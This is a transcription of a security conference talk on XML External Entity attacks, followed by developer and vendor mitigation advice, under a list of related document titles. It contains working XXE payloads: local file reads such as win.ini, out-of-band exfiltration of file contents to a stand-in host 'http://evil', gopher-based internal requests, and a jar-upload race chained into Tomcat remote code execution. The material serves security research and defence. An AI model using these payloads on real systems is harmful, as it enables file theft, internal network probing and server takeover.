What You Didn't Know About XML External Entities Attacks. Timothy D. Morgan

Similar documents
What should a hacker know about WebDav? Vulnerabilities in various WebDav implementations

Pre-authentication XXE vulnerability in the Services Drupal module

SSRF DoS Relaying and a bit more...

Implementation of Web Application Firewall

Copyright 2014, SafeNet, Inc. All rights reserved.

Managing XML Documents Versions and Upgrades with XSLT

Oracle Universal Content Management

IBM Security QRadar SIEM Version MR1. Vulnerability Assessment Configuration Guide

JBoss security: penetration, protection and patching. David Jorm

XML. CIS-3152, Spring 2013 Peter C. Chapin

Beyond The Web Drupal Meets The Desktop (And Mobile) Justin Miller Code Sorcery Workshop, LLC

Installation Guide. Version 2.1. on Oracle Java Cloud Service

Exploiting Fundamental Weaknesses in Command and Control (C&C) Panels

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

24x7 Scheduler Multi-platform Edition 5.2

1 How to install CQ5 with an Application Server

Workday Mobile Security FAQ

We protect you applications! No, you don t. Digicomp Hacking Day 2013 May 16 th 2013

Penetration Testing Scope Factors

DNS REBINDING DENIS BARANOV, POSITIVE TECHNOLOGIES

Magento Search Extension TECHNICAL DOCUMENTATION

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Web. Services. Web Technologies. Today. Web. Technologies. Internet WWW. Protocols TCP/IP HTTP. Apache. Next Time. Lecture # Apache.

SAS Drug Development Release Notes 35DRG07

Invest in security to secure investments Oracle PeopleSoft applications are under attacks!

The Image that called me

Securing ios Applications. Dr. Bruce Sams, OPTIMAbit GmbH

Web Application Vulnerability Testing with Nessus

DocuSign Connect Guide

ADMINISTERING ADOBE LIVECYCLE MOSAIC 9.5

Exploiting Local File Inclusion in A Co-Hosting Environment

RESTing On Your Laurels Will Get You Pwned. By Abraham Kang, Dinis Cruz, and Alvaro Munoz

Absolute Backdoor Revisited. Vitaliy Kamlyuk, Kaspersky Lab Sergey Belov, Kaspersky Lab Anibal Sacco, Cubica Labs

IBM WebSphere Application Server V8.5 lab Basic Liberty profile administration using the job manager

Core Feature Comparison between. XML / SOA Gateways. and. Web Application Firewalls. Jason Macy jmacy@forumsys.com CTO, Forum Systems

How to Make the Client IP Address Available to the Back-end Server

Evading Infrastructure Security Mohamed Bedewi Penetration Testing Consultant

Crawl Proxy Installation and Configuration Guide

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

5. At the Windows Component panel, select the Internet Information Services (IIS) checkbox, and then hit Next.

SAFE-T RSACCESS REPLACEMENT FOR MICROSOFT FOREFRONT UNIFIED ACCESS GATEWAY (UAG)

Practice Fusion API Client Installation Guide for Windows

Oracle Managed File Getting Started - Transfer FTP Server to File Table of Contents

Web Programming. Robert M. Dondero, Ph.D. Princeton University

N CYCLES software solutions. XML White Paper. Where XML Fits in Enterprise Applications. May 2001

VoipSwitch Security Audit

ultimo theme Update Guide Copyright Infortis All rights reserved

Getting started with OWASP WebGoat 4.0 and SOAPUI.

FTP Service Reference

XML Processing and Web Services. Chapter 17

Integrating with BarTender Integration Builder

Cloud Portal for imagerunner ADVANCE

Virtually Pwned Pentesting VMware. Claudio

Smartphone Enterprise Application Integration

SpagoBI exo Tomcat Installation Manual

MD Link Integration MDI Solutions Limited

VTLBackup4i. Backup your IBM i data to remote location automatically. Quick Reference and Tutorial. Version 02.00

Computer Networks. Lecture 7: Application layer: FTP and HTTP. Marcin Bieńkowski. Institute of Computer Science University of Wrocław

Introduction to the. Barracuda Embedded Web-Server

SAST, DAST and Vulnerability Assessments, = 4

A Java proxy for MS SQL Server Reporting Services

Sentinel Cloud V.3.5 Installation Guide

11.1. Performance Monitoring

Copyright 2012, Oracle and/or its affiliates. All rights reserved.

Important Release Information and Technical and Deployment Support Notes

Online Vulnerability Scanner Quick Start Guide

Lab 7 - Exploitation 1. NCS 430 Penetration Testing Lab 7 Sunday, March 29, 2015 John Salamy

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

AJAX Storage: A Look at Flash Cookies and Internet Explorer Persistence

Invest in security to secure investments. Breaking SAP Portal. Dmitry Chastuhin Principal Researcher at ERPScan

Manipulating Microsoft SQL Server Using SQL Injection

How to Integrate Camera Live View into Web Application?

LabVIEW Internet Toolkit User Guide

SECUR IN MIRTH CONNECT. Best Practices and Vulnerabilities of Mirth Connect. Author: Jeff Campbell Technical Consultant, Galen Healthcare Solutions

ECE 4893: Internetwork Security Lab 12: Web Security

Certified Secure Web Application Secure Development Checklist

SAP Business Objects Attacks: Espionage and Poisoning of BI Platforms

SOA, case Google. Faculty of technology management Information Technology Service Oriented Communications CT30A8901.

THE NEW DIGITAL EXPERIENCE

Install BA Server with Your Own BA Repository

i2b2 Installation Guide

Oracle Service Bus Examples and Tutorials

Jenkins TestLink Plug-in Tutorial

How to set up SQL Source Control. The short guide for evaluators

Strategic Information Security. Attacking and Defending Web Services

Scoreboard 2.5/2.7 Installation Guide. For Apache Tomcat 7.0 On Windows 2003/2008 Server, 64-bit

Oracle Communications Cartridge Feature Specification for Broadsoft Broadworks Enterprise Services

Service Manager and the Heartbleed Vulnerability (CVE )

Xtreeme Search Engine Studio Help Xtreeme

Orchestrating Document and Media Management using CMIS

Universal Event Monitor for SOA Reference Guide

Turning your managed Anti-Virus

ModSecurity as Universal Cross-platform Web Protection Tool

HP WebInspect Tutorial

SYWorks Vulnerable Web Applications Compilation For Penetration Testing Installation Guide

Grandstream Networks, Inc.

SSRF pwns: new techniques and stories

About This Document 3. Integration and Automation Capabilities 4. Command-Line Interface (CLI) 8. API RPC Protocol 9.

Transcription:

What You Didn't Know About XML External Entities Attacks Timothy D. Morgan

About Me Application pentesting for nearly 9 years Enjoys vulnerability research Always learning/developing new techniques Loves to collaborate on research Current areas: XXE, Application Cryptanalysis, IPv6 OWASP chapter leader in Portland, Oregon (we're always looking for speakers) @ecbftw

XML Entrenchment XML is extremely pervasive Document formats (OOXML, ODF, PDF, RSS,...) Image formats (SVG, EXIF Headers, ) Configuration files (you name it) Networking Protocols (WebDAV, CalDAV, XMLRPC, SOAP, REST, XMPP, SAML, XACML, ) Any security issue that affects XML, potentially affects a lot of software

XML Entities Entities are a feature defined in DTDs DTDs a legacy carry-over from SGML Allow for macro-like text and XML substitution External entities are used to include other documents Entities are well-known source of attacks Miles Sabin on xml-dev (June 8, 2002) Gregory Steuck on Bugtraq (October 29, 2002)

Well-Known Attacks Arbitrary URL Invocation CSRF-like Attacks DoS attacks abound Recursive entity definition (''billion laughs attack'') DDoS against third parties via HTTP/FTP Data theft via ''external'' entities Point entity to local file or internal HTTP resource Include entity inline in document Application exposes the XML contents later

Data Theft: Typical Scenario Attacker Application Database

Inline Retrieval Example Read win.ini and store it in your user's profile: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateprofile [ <!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]]> <updateprofile> <firstname>joe</firstname <lastname>&file;</lastname>... </updateprofile>

Inline Retrieval: Limitations Retrieved document must be well-formed XML No binary (must be UTF-8/16 data) In text, no stray '&', '<' or '>' XML files can be embedded, but often not usable Requires that the application gives data back

Misconceptions Pentesters: ''Data retrieval is impractical'' New research has made it more practical Vendors: ''Developers can just turn off external entities'' Few developers even know that they are at risk Vendors: ''Parser resource limits will stop DoS'' Completely ignores URL-oriented attacks

Parameter Entities Just like regular entities, but only for DTDs <!DOCTYPE updateprofile [ <!ENTITY % moresyntax "<!ENTITY foo 'dynamic'>"> %moresyntax; ]]> <lastname>&foo;</lastname>

Inline with CDATA Wouldn't be nice if we could do this? <!DOCTYPE updateprofile [ <!ENTITY file SYSTEM "file:///has/broken/xml"> <!ENTITY start "<![CDATA["> <!ENTITY end "]]>"> ]]> <lastname>&start;&file;&end;</lastname> Doesn't work this way... =(

Inline with CDATA But with parameter entities, we can pull it off: <!DOCTYPE updateprofile [ <!ENTITY % file SYSTEM "file:///has/broken/xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://evil/join.dtd"> %dtd; ]]> <lastname>&all;</lastname> Here, the join.dtd file contains: <!ENTITY all "%start;%file;%end;">

DTD Inline Retrieval: Limitations XML-related restrictions persist Still no binary (must be UTF-8/16 data) Some XML chars still cause problems, but well-formed XML files now readable as text Requires that the application gives data back Requires ''phone home'' access

Out of Band Retrieval Wait... If we can build entity tags dynamically, why can't we build dynamic entity URLs? We can! First described by Osipov and Yunusov at Blackhat EU 2013

Out of Band Retrieval Grab the file and send it all in the DTD: <!DOCTYPE updateprofile [ <!ENTITY % file SYSTEM "file:///path/to/goodies"> <!ENTITY % dtd SYSTEM "http://evil/send.dtd"> %dtd; %send; ]]> Here, the send.dtd file contains: <!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil/?%file;'>" > %all;

OOB Retrieval: Advantages/Limitations The up side No application interaction Data theft before schema validation Character Limitations Still no binary (must be UTF-8/16 data) Either ' or '' will cause an error # will cause URL truncation Requires ''phone home'' access

Power of URLs Don't underestimate the humble URL Many platforms/parsers support a surprising variety of URL schemes/protocols Many protocols can be used in unintended ways Usable without external entity support

Schemes by Platform Those enabled by default: libxml2 PHP Java.NET file http ftp file http ftp php compress.zlib compress.bzip2 data glob phar http https ftp file jar netdoc mailto gopher * file http https ftp * Removed circa September 2012

Java Idiosyncracies file://... handler gives directory listings Older versions of Java allow arbitrary data to be sent over TCP via gopher://... The jar://... handler can be used to: Peek inside any ZIP file Upload files (!)

Playing with Java's Gopher gopher://{host}:{port}/{type}{request} Any host, any TCP port type is a single digit integer request can be any binary data, percent-encoded Perfect for: CSRF-like attacks on internal services Port scanning Exploiting secondary network vulnerabilities

Gopher Limitations Disabled in Oracle JDK, September 2012 Thanks to: ''SSRF vs. Business-critical applications: XXE tunneling in SAP'' -- Alexander Polyakov, Blackhat 2012 Supported in 1.7u7, 1.6u32 and earlier Requests are single-shot; no handshakes Limited retrieval of responses

A Jar of Fun jar:{url}!{path} url is any supported URL type (except jar) path is the location within the zip file to fetch Can be used to pull files from: jar/war/ear, docx, xlsx,... DoS attacks Decompression bomb anyone? Fill up temporary space

Jar Uploading How does Java handle remote Jars? Download jar/zip to temporary file Parse headers, extract specific file requested Delete the temporary file Can we find this temp file? Of course! We have directory listings

Winning the Jar Race Temp file is only there for what, a second? It's there as long as the download takes......and we control the download rate! Attack process: Force a jar URL to be fetched Push almost all of the content immediately Stall the rest of the download indefinitely Use directory listings to locate the file

Jar Upload Notes We can upload arbitrary file content Not just zip files We can't control: Location of the file Any part of the name or extension

Attacking Tomcat RCE SCENARIO A slightly older public web application Runs under Tomcat 6 and Oracle JRE 1.7u7 Tomcat admin interface restricted to internal Load balancer used to handle SSL/TLS Public web app vulnerable to an XXE flaw ''Inline'' entity inclusion usable TCP egress permitted

Tomcat Deployment Application Servers Internet Vulnerable Admin Internal

How can we pwn this server? DEMO TIME

Step 1: Reconnaissance Attacker First, rummage around using directory listings... What's this?!? tomcat-users.xml

Step2: Upload Attacker Upload evil.war via jar://...

Step 3: Find Temp File Attacker More directory listings to find our file under /tmp/... Trickle the download for a while...

Step 4: Start Deployment Attacker gopher://localhost:80/... Download done, keep port open

Step 5: evil.war Deploys Attacker 2: Deploys temp file as new app 1: Grabs our temp file

Step 6: Enjoy the Fruits Attacker Profit!

XXE: A Collection of Techniques Power of XXE comes from synergy: Combining multiple XXE techniques Combining XXE with other flaws XML is complex and changing New techniques still being discovered New capabilities, thanks to new standards

Developer Recommendations Know your XML library XML features URL capabilities Turn off as much as you can Hopefully: external entities, DTDs, and network Mitigate the rest Pre-parsing input validation Block network egress

Vendor Recommendations Long-term fix comes only from you ''Off by default'' policy for all XML features Inline DTD parsing off by default External entities off by default Entities off by default Configurable whitelist of allowed protocols that is highly restricted by default

More Vendor Recommendations Never assume developers understand XML Well document potentially dangerous features ''... but... but it's a standard!'' Most dangerous features are optional already Encourage better security warnings to vendors in W3C documents Make ''off by default'' part of the standards

Fin Thanks to: Omar Al Ibrahim & VSR AppSec USA Organizers Watch for an upcoming XXE paper http://www.vsecurity.com/ Follow me: @ecbftw